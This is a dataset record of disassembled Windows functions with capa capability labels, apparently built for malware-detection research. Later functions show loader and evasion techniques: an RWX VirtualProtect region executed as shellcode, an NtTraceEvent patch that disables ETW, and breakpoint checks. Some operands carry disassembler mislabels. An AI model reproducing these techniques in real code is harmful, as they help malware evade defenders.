joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140260850
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push rbx
sub rsp, 0x90
mov rax, qword [0x1403a0088]
xor rax, rsp
mov qword [rsp + 0x80], rax
xor r9d, r9d
mov dword [rsp], 1
lea rbx, [0x140000000]
mov r11, rcx
mov r8d, r9d
test rcx, rcx
je 0x14026092d
mov qword [rsp + 0xa8], rdi
movabs rdi, 0x8080808080808081
nop dword [rax]
mov dword [rsp + r8*4 + 4], 1
mov r10, r8
test r8, r8
je 0x1402608eb
movsxd rax, dword [rsp + r10*4]
movzx ecx, byte [rax + rbx + 0x454130]
mov rax, rdi
add rcx, r8
mul rcx
shr rdx, 7
imul rax, rdx, 0xff
sub rcx, rax
movzx eax, byte [rcx + rbx + 0x454030]
xor eax, dword [rsp + r10*4 - 4]
mov dword [rsp + r10*4], eax
sub r10, 1
jne 0x1402608b1
movsxd rax, dword [rsp]
movzx ecx, byte [rax + rbx + 0x454130]
mov rax, rdi
add rcx, r8
inc r8
mul rcx
shr rdx, 7
imul rax, rdx, 0xff
sub rcx, rax
movzx eax, byte [rcx + rbx + 0x454030]
mov dword [rsp], eax
cmp r8, r11
jb 0x1402608a0
mov rdi, qword [rsp + 0xa8]
lea rax, [r11 - 2]
imul rcx, rax, 0x1f
lea rdx, [rbx + 0x454230]
add rdx, rcx
nop
movsxd rax, dword [rsp + r9*4]
movzx eax, byte [rax + rbx + 0x454130]
mov byte [rdx + r9], al
inc r9
cmp r9, r11
jbe 0x140260940
mov byte [r11 + rbx + 0x4545b6], 1
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140125a70
add rsp, 0x90
pop rbx
ret

Function at 0x140269700
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x60
mov rdi, r9
mov rbp, r8
mov r14, rdx
test rcx, rcx
jne 0x140269746
lea r8, [0x1403f6b68]
lea rdx, [0x1403f6b78]
call fcn.140269090
xor eax, eax
lea r11, [rsp + 0x60]
mov rbp, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
test rdi, rdi
jne 0x140269775
lea r8, [0x1403f6ba8]
xor ecx, ecx
lea rdx, [0x1403f6bb8]
call fcn.140269090
xor eax, eax
lea r11, [rsp + 0x60]
mov rbp, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x70], rbx
xor r8d, r8d
lea rbx, [r9 + 8]
mov qword [rsp + 0x78], rsi
mov qword [rsp + 0x38], rbx
mov rsi, r14
imul rsi, rbp
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, qword [rdi]
mov qword [rsp + 0x20], rax
call sub.ntdll.dll_NtReadFile
mov ecx, eax
test eax, eax
js 0x1402697d8
mov rcx, qword [rdi]
xor r8d, r8d
xor edx, edx
call sub.ntdll.dll_NtWaitForSingleObject
test eax, eax
mov ecx, eax
cmovns ecx, dword [rsp + 0x50]
test ecx, ecx
je 0x140269807
mov rax, qword gs:[0x30]
lea r8, str.winx_fread
lea rdx, str.ERROR:__s:_cannot_read_from_a_file
mov dword [rax + 0x11e8], ecx
mov ecx, 1
call fcn.140269090
xor eax, eax
jmp 0x140269821
mov rax, qword [rsp + 0x58]
test rax, rax
jne 0x140269819
add qword [rbx], rsi
mov rax, rbp
jmp 0x140269821
add qword [rbx], rax
xor edx, edx
div r14
mov rbx, qword [rsp + 0x70]
lea r11, [rsp + 0x60]
mov rbp, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsi, qword [rsp + 0x78]
mov rsp, r11
pop r14
ret
Function at 0x1402699a0
Capabilities:
Get file attributes

Disassembly:
sub rsp, 0x68
mov rax, qword [0x1403a0088]
xor rax, rsp
mov qword [rsp + 0x58], rax
test rcx, rcx
jne 0x1402699df
lea r8, [0x1403f6e00]
lea rdx, [0x1403f6e10]
call fcn.140269090
xor eax, eax
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140125a70
add rsp, 0x68
ret
mov rcx, qword [rcx]
lea r8, [rsp + 0x40]
xor eax, eax
mov dword [rsp + 0x20], 5
lea rdx, [rsp + 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
lea r9d, [rax + 0x18]
call sub.ntdll.dll_NtQueryInformationFile
test eax, eax
jns 0x140269a4d
mov rcx, qword gs:[0x30]
lea r8, str.winx_fsize
lea rdx, str.ERROR:__s:_cannot_get_standard_file_information
mov dword [rcx + 0x11e8], eax
mov ecx, 1
call fcn.140269090
xor eax, eax
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140125a70
add rsp, 0x68
ret
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140125a70
add rsp, 0x68
ret

Function at 0x140269e10
Capabilities:
Delete file

Disassembly:
push rbx
sub rsp, 0x60
mov rbx, rcx
test rcx, rcx
jne 0x140269e3a
lea r8, [0x1403f6f00]
lea rdx, [0x1403f6f18]
call fcn.140269090
or eax, 0xffffffff
add rsp, 0x60
pop rbx
ret
mov rdx, rbx
lea rcx, [rsp + 0x20]
call sub.ntdll.dll_RtlInitUnicodeString
lea rax, [rsp + 0x20]
mov dword [rsp + gethostbyname], 0x30
xorps xmm0, xmm0
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x38], 0
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x48], 0x40
call sub.ntdll.dll_NtDeleteFile
test eax, eax
jns 0x140269eb4
mov rcx, qword gs:[0x30]
lea r8, str.winx_delete_file
mov r9, rbx
lea rdx, str.ERROR:__s:_cannot_delete__ws
mov dword [rcx + 0x11e8], eax
mov ecx, 1
call fcn.140269090
or eax, 0xffffffff
add rsp, 0x60
pop rbx
ret
xor eax, eax
add rsp, 0x60
pop rbx
ret
Function at 0x14026a310
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x60
mov rdi, r9
mov rbp, r8
mov r14, rdx
test rcx, rcx
jne 0x14026a356
lea r8, [0x1403f6c20]
lea rdx, [0x1403f6c38]
call fcn.140269090
xor eax, eax
lea r11, [rsp + 0x60]
mov rbp, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
test rdi, rdi
jne 0x14026a385
lea r8, [0x1403f6c68]
xor ecx, ecx
lea rdx, [0x1403f6c80]
call fcn.140269090
xor eax, eax
lea r11, [rsp + 0x60]
mov rbp, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
mov qword [rsp + 0x40], 0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x70], rbx
xor r8d, r8d
lea rbx, [r9 + 0x10]
mov qword [rsp + 0x78], rsi
mov qword [rsp + 0x38], rbx
mov rsi, r14
imul rsi, rbp
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, qword [rdi]
mov qword [rsp + 0x20], rax
call sub.ntdll.dll_NtWriteFile
mov ecx, eax
test eax, eax
js 0x14026a3e8
mov rcx, qword [rdi]
xor r8d, r8d
xor edx, edx
call sub.ntdll.dll_NtWaitForSingleObject
test eax, eax
mov ecx, eax
cmovns ecx, dword [rsp + 0x50]
test ecx, ecx
je 0x14026a417
mov rax, qword gs:[0x30]
lea r8, str.winx_fwrite_helper
lea rdx, str.ERROR:__s:_cannot_write_to_a_file
mov dword [rax + 0x11e8], ecx
mov ecx, 1
call fcn.140269090
xor eax, eax
jmp 0x14026a431
mov rax, qword [rsp + 0x58]
test rax, rax
jne 0x14026a429
add qword [rbx], rsi
mov rax, rbp
jmp 0x14026a431
add qword [rbx], rax
xor edx, edx
div r14
mov rbx, qword [rsp + 0x70]
lea r11, [rsp + 0x60]
mov rbp, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsi, qword [rsp + 0x78]
mov rsp, r11
pop r14
ret
Function at 0x14026d550
Capabilities:
Create thread

Disassembly:
sub rsp, 0x58
test rcx, rcx
jne 0x14026d574
lea r8, [0x1404388c8]
lea rdx, [0x1404388e0]
call fcn.140269090
or eax, 0xffffffff
add rsp, 0x58
ret
xor r8d, r8d
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], r8
xor r9d, r9d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdx
xor edx, edx
mov qword [rsp + 0x30], rcx
or rcx, 0xffffffffffffffff
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], r8
call sub.ntdll.dll_RtlCreateUserThread
test eax, eax
jns 0x14026d5db
mov rcx, qword gs:[0x30]
lea r8, str.winx_create_thread
lea rdx, str.ERROR:__s:_cannot_create_thread
mov dword [rcx + 0x11e8], eax
mov ecx, 1
call fcn.140269090
or eax, 0xffffffff
add rsp, 0x58
ret
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x14026d5ea
call fcn.1402a5664
xor eax, eax
add rsp, 0x58
ret

Function at 0x140272f10
Capabilities:
Read file on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rsi
push rdi
sub rsp, 0x60
mov eax, dword [r9 + 0x2c]
mov rsi, r9
imul rax, rcx
mov rcx, qword [r9 + 0x38]
xor r9d, r9d
mov qword [r11 - 0x28], 0
mov qword [r11 + 8], rax
lea rax, [r11 + 8]
mov qword [r11 - 0x30], rax
lea rax, [r11 - 0x18]
mov rcx, qword [rcx]
mov edi, r8d
xor r8d, r8d
mov qword [r11 - 0x38], rdi
mov qword [r11 - 0x40], rdx
xor edx, edx
mov qword [r11 - 0x48], rax
call sub.ntdll.dll_NtReadFile
mov ebx, eax
test eax, eax
js 0x140272f86
mov rcx, qword [rsi + 0x38]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rcx]
call sub.ntdll.dll_NtWaitForSingleObject
test eax, eax
mov ebx, eax
cmovns ebx, dword [rsp + 0x50]
test ebx, ebx
jne 0x140272fc0
mov rax, qword [rsp + 0x58]
test rax, rax
je 0x140272fc0
cmp rax, rdi
jbe 0x140272fa9
lea r8, [0x140439ed0]
lea rdx, [0x140439ee0]
jmp 0x140272fb9
jae 0x140272fc0
lea r8, str.read_sectors
lea rdx, [0x140439f18]
xor ecx, ecx
call fcn.140269090
mov rsi, qword [rsp + 0x80]
mov eax, ebx
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
Function at 0x14028fc64
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x14028faef
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14028faef
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14028faef
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14028faef
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14028faef
cmp dword [rcx + 0x84], 0xe
jbe 0x14028faef
cmp dword [rcx + 0xf8], 0
je 0x14028faef
mov ecx, ebx
call fcn.14028fb90
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.14028f96c
cmp dword [rbp + 0x20], 0
je 0x14028fb3c
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14028fb44
int3
xor r8d, r8d
xor edx, edx
jmp 0x14028fa88

Function at 0x140299070
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
mov rdx, rcx
test rcx, rcx
jne 0x14029904d
call fcn.140284f80
mov dword [rax], reloc.WS2_32.dll_shutdown
call fcn.14027bd60
or eax, 0xffffffff
jmp 0x14029906a
sub dword [rcx + 0x10], 1
jns 0x14029905c
add rsp, 0x28
jmp fcn.14029c4ac
mov rax, qword [rcx]
movzx ecx, byte [rax]
inc rax
mov qword [rdx], rax
mov eax, ecx
add rsp, 0x28
ret
jmp 0x14029902c
Function at 0x14029b854
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x38
movsxd r13, ecx
lea r10, [0x140454e20]
mov rdi, r13
mov r15, r13
sar r15, 6
and edi, 0x3f
shl rdi, 6
mov r14, rdx
mov r9d, 0xa
mov rax, qword [r10 + r15*8]
mov rcx, qword [rax + rdi + 0x28]
mov qword [rsp + 0x98], rcx
test r8, r8
je 0x14029b8ac
cmp word [rdx], r9w
jne 0x14029b8ac
or byte [rax + rdi + 0x38], 4
jmp 0x14029b8b1
and byte [rax + rdi + 0x38], 0xfb
lea r12, [rdx + r8*2]
mov rsi, rdx
mov rbx, rdx
cmp rdx, r12
jae 0x14029ba67
lea rbp, [rdx + 2]
mov edx, reloc.WS2_32.dll_listen
movzx eax, word [rsi]
cmp ax, 0x1a
je 0x14029ba49
cmp ax, dx
je 0x14029b8f3
mov word [rbx], ax
add rbx, 2
add rsi, 2
add rbp, 2
jmp 0x14029b994
cmp rbp, r12
jae 0x14029b919
cmp word [rbp], r9w
jne 0x14029b914
add rsi, 4
mov word [rbx], r9w
add rbp, 4
add rbx, 2
jmp 0x14029b994
mov word [rbx], dx
jmp 0x14029b8e2
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x90]
mov r8d, 2
lea rdx, [rsp + 0x80]
add rsi, 2
add rbp, 2
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14029ba2d
cmp dword [rsp + 0x90], 0
je 0x14029ba2d
lea r10, [0x140454e20]
mov r9d, 0xa
mov rax, qword [r10 + r15*8]
test byte [rax + rdi + 0x38], 0x48
je 0x14029b9de
movzx eax, word [rsp + 0x80]
cmp ax, r9w
jne 0x14029b9a2
mov word [rbx], r9w
add rbx, 2
mov edx, reloc.WS2_32.dll_listen
mov rcx, qword [rsp + 0x98]
cmp rsi, r12
jb 0x14029b8cd
jmp 0x14029ba67
mov ecx, reloc.WS2_32.dll_listen
mov word [rsp + 0x88], ax
mov word [rbx], cx
add rbx, 2
xor edx, edx
mov rcx, qword [r10 + r15*8]
mov al, byte [rsp + rdx + 0x88]
add rcx, rdi
mov byte [rcx + rdx + 0x3a], al
inc rdx
cmp rdx, 2
jl 0x14029b9b8
mov rax, qword [r10 + r15*8]
mov byte [rax + rdi + 0x3c], r9b
jmp 0x14029b987
cmp word [rsp + 0x80], r9w
jne 0x14029b9ee
cmp rbx, r14
je 0x14029b97f
mov rdx, 0xfffffffffffffffe
mov ecx, r13d
lea r8d, [rdx + 3]
call fcn.140293a74
mov r9d, 0xa
lea r10, [0x140454e20]
cmp word [rsp + 0x80], r9w
je 0x14029b987
lea edx, [r9 + 3]
mov word [rbx], dx
add rbx, 2
jmp 0x14029b98c
mov edx, reloc.WS2_32.dll_listen
lea r10, [0x140454e20]
mov word [rbx], dx
add rbx, 2
lea r9d, [rdx - 3]
jmp 0x14029b98c
mov rcx, qword [r10 + r15*8]
mov al, byte [rcx + rdi + 0x38]
test al, 0x40
jne 0x14029ba5d
or al, 2
mov byte [rcx + rdi + 0x38], al
jmp 0x14029ba67
movzx ecx, word [rsi]
mov word [rbx], cx
add rbx, 2
sub rbx, r14
sar rbx, 1
lea rax, [rbx + rbx]
add rsp, 0x38
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14029c4ac
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax + 8], rcx
push rbp
mov rbp, rsp
sub rsp, 0x20
test rcx, rcx
jne 0x14029c348
call fcn.140284f80
mov dword [rax], reloc.WS2_32.dll_shutdown
call fcn.14027bd60
or eax, 0xffffffff
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop rbp
ret
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x14029c330
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
shr ecx, 0xc
test cl, 1
jne 0x14029c330
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
mov rax, qword [rbp + 0x10]
shr ecx, 1
test cl, 1
je 0x14029c37a
lock or dword [rax + 0x14], 0x10
jmp 0x14029c330
lock or dword [rax + 0x14], 1
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
test ecx, 0x4c0
jne 0x14029c397
mov rcx, qword [rbp + 0x10]
call fcn.1402a3b34
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax + 8]
mov qword [rax], rcx
mov rbx, qword [rbp + 0x10]
mov rcx, rbx
call fcn.140294ae0
mov rdx, qword [rbp + 0x10]
mov ecx, eax
mov r8d, dword [rdx + 0x20]
mov rdx, qword [rdx + 8]
call fcn.14029bd80
mov dword [rbx + 0x10], eax
mov rax, qword [rbp + 0x10]
mov edx, dword [rax + 0x10]
lea ecx, [rdx + 1]
cmp ecx, 1
ja 0x14029c3ee
neg edx
sbb ecx, ecx
and ecx, 8
add ecx, 8
lock or dword [rax + 0x14], ecx
mov rax, qword [rbp + 0x10]
and dword [rax + 0x10], 0
jmp 0x14029c330
mov ecx, dword [rax + 0x14]
test cl, 6
jne 0x14029c45d
mov rcx, qword [rbp + 0x10]
call fcn.140294ae0
cmp eax, 0xffffffff
je 0x14029c444
mov rcx, qword [rbp + 0x10]
call fcn.140294ae0
cmp eax, 0xfffffffe
je 0x14029c444
mov rbx, qword [rbp + 0x10]
mov rcx, rbx
call fcn.140294ae0
movsxd rdi, eax
lea rsi, [0x140454e20]
mov rcx, rbx
sar rdi, 6
call fcn.140294ae0
mov rdx, qword [rsi + rdi*8]
and eax, 0x3f
shl rax, 6
add rdx, rax
jmp 0x14029c44b
lea rdx, [0x14043b670]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x14029c45d
mov rax, qword [rbp + 0x10]
lock or dword [rax + 0x14], 0x20
mov rax, qword [rbp + 0x10]
cmp dword [rax + 0x20], 0x200
jne 0x14029c493
mov ecx, dword [rax + 0x14]
shr ecx, 6
test cl, 1
je 0x14029c48f
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
shr ecx, 8
test cl, 1
jne 0x14029c48f
mov rax, qword [rbp + 0x10]
mov dword [rax + 0x20], 0x1000
mov rax, qword [rbp + 0x10]
dec dword [rax + 0x10]
mov rcx, qword [rax]
movzx edx, byte [rcx]
inc rcx
mov qword [rax], rcx
mov eax, edx
jmp 0x14029c333
jmp 0x14029c300
Function at 0x1402a5810
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x1402a5830
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.140284f10
or eax, 0xffffffff
jmp 0x1402a5832
xor eax, eax
add rsp, 0x28
ret
Function at 0x1c23813a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
lea rax, [rbp - 4]
mov r9, rax
mov r8d, 0x40
mov edx, 0x56ad2
lea rcx, [0x1c2383020]
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
jne 0x1c23813d5
mov eax, 0
jmp 0x1c23813dc
lea rax, [0x1c2383020]
add rsp, 0x30
pop rbp
ret

Function at 0x1c23814e3
Capabilities:
Check for software breakpoints

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
movzx eax, byte [rax]
mov byte [rbp - 5], al
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x10], rax
mov dword [rbp - 4], 0
lea rdx, [rbp - 0x10]
lea rax, [rbp - 5]
mov rcx, rax
call fcn.1c2381430
movzx eax, byte [rbp - 5]
movzx eax, al
cmp eax, 0xff
je 0x1c238157f
cmp eax, 0xff
jg 0x1c23815b2
cmp eax, 0xeb
je 0x1c238154f
cmp eax, 0xeb
jg 0x1c23815b2
cmp eax, 0xe9
je 0x1c238155f
cmp eax, 0xea
je 0x1c238156f
jmp 0x1c23815b2
mov rax, qword [rbp - 0x10]
sub rax, qword [rbp + 0x10]
add eax, 2
mov dword [rbp - 4], eax
jmp 0x1c23815b2
mov rax, qword [rbp - 0x10]
sub rax, qword [rbp + 0x10]
add eax, 5
mov dword [rbp - 4], eax
jmp 0x1c23815b2
mov rax, qword [rbp - 0x10]
sub rax, qword [rbp + 0x10]
add eax, 7
mov dword [rbp - 4], eax
jmp 0x1c23815b2
mov rax, qword [rbp + 0x10]
add rax, 1
movzx eax, byte [rax]
movzx eax, al
cmp eax, 0x25
jne 0x1c23815a2
mov rax, qword [rbp - 0x10]
sub rax, qword [rbp + 0x10]
add eax, 6
mov dword [rbp - 4], eax
jmp 0x1c23815b1
mov rax, qword [rbp - 0x10]
sub rax, qword [rbp + 0x10]
add eax, 2
mov dword [rbp - 4], eax
nop
nop
cmp dword [rbp - 4], 5
jne 0x1c23815cf
jmp 0x1c23815be
add dword [rbp - 4], 1
mov edx, dword [rbp - 4]
mov rax, qword [rbp + 0x10]
add rax, rdx
movzx eax, byte [rax]
cmp al, 0xcc
je 0x1c23815ba
mov eax, dword [rbp - 4]
add rsp, 0x30
pop rbp
ret
Function at 0x1c2381afc
Capabilities:
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov rax, qword [rbp + 0x18]
lea rdx, str..exe
mov rcx, rax
call sub.msvcrt.dll_strstr
test rax, rax
jne 0x1c2381bea
lea rdx, [0x1c23da005]
mov rcx, qword [rbp + 0x10]
call sub.msvcrt.dll_fopen
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
je 0x1c2381bed
mov rax, qword [rbp - 8]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_fseek
mov rax, qword [rbp - 8]
mov rcx, rax
call sub.msvcrt.dll_ftell
mov dword [rbp - 0xc], eax
mov eax, dword [rbp - 0xc]
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
je 0x1c2381bf0
mov rax, qword [rbp - 8]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_fseek
mov edx, dword [rbp - 0xc]
mov rcx, qword [rbp - 8]
mov rax, qword [rbp - 0x18]
mov r9, rcx
mov r8d, 1
mov rcx, rax
call sub.msvcrt.dll_fread
mov rcx, qword [rbp + 0x20]
mov edx, dword [rbp - 0xc]
mov rax, qword [rbp - 0x18]
mov r8, rcx
mov rcx, rax
call fcn.1c2381850
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp - 8]
mov rcx, rax
call sub.msvcrt.dll_fclose
jmp 0x1c2381bf1
nop
jmp 0x1c2381bf1
nop
jmp 0x1c2381bf1
nop
add rsp, 0x40
pop rbp
ret

Function at 0x1c2381bf7
Capabilities:
Enumerate process modules

Disassembly:
push rbp
sub rsp, 0x260
lea rbp, [rsp + 0x80]
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov edx, eax
mov ecx, 0x18
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x1d8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 5
je 0x1c2381caa
mov dword [rbp - 0x60], 0x238
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x1c2381caa
mov rcx, qword [rbp - 0x48]
lea rax, [rbp - 0x60]
lea rdx, [rax + 0x30]
lea rax, [rbp - 0x60]
add rax, 0x130
mov r8, rcx
mov rcx, rax
call fcn.1c2381afc
jmp 0x1c2381c93
mov rcx, qword [rbp - 0x48]
lea rax, [rbp - 0x60]
lea rdx, [rax + 0x30]
lea rax, [rbp - 0x60]
add rax, 0x130
mov r8, rcx
mov rcx, rax
call fcn.1c2381afc
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
call sub.KERNEL32.dll_Module32Next
test eax, eax
jne 0x1c2381c72
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x260
pop rbp
ret
Function at 0x1c2381cc7
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov dword [rbp - 0x1c], 0xc3c03348
movabs rax, 0x6c642e6c6c64746e
mov qword [rbp - 0x26], rax
mov word [rbp - 0x1e], 0x6c
lea rax, [rbp - 0x26]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp - 8], rax
movabs rax, 0x456563617254744e
mov qword [rbp - 0x33], rax
mov dword [rbp - 0x2b], 0x746e6576
mov byte [rbp - 0x27], 0
lea rdx, [rbp - 0x33]
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x10], rax
mov qword [rbp - 0x18], 4
mov dword [rbp - 0x38], 0
lea rcx, [rbp - 0x38]
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov r9, rcx
mov r8d, 0x40
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
lea rax, [rbp - 0x1c]
mov edx, dword [rax]
mov rax, qword [rbp - 0x10]
mov dword [rax], edx
mov ecx, dword [rbp - 0x38]
lea r8, [rbp - 0x3c]
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
nop
add rsp, 0x60
pop rbp
ret

Function at 0x1c2381e45
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov qword [rbp + 0x20], r8
mov rax, qword [rbp + 0x10]
mov qword [0x1c23dd020], rax
cmp dword [rbp + 0x18], 3
je 0x1c2381ecc
cmp dword [rbp + 0x18], 3
ja 0x1c2381ed3
cmp dword [rbp + 0x18], 2
je 0x1c2381ecf
cmp dword [rbp + 0x18], 2
ja 0x1c2381ed3
cmp dword [rbp + 0x18], 0
je 0x1c2381ed2
cmp dword [rbp + 0x18], 1
jne 0x1c2381ed3
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [0x1c2381de0]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 8], rax
mov ecx, 0xfa
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x1c2381ed3
nop
jmp 0x1c2381ed3
nop
jmp 0x1c2381ed3
nop
mov eax, 1
add rsp, 0x40
pop rbp
ret

Function at 0x1c2382080
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1c2382e40
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.1c2382e40
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]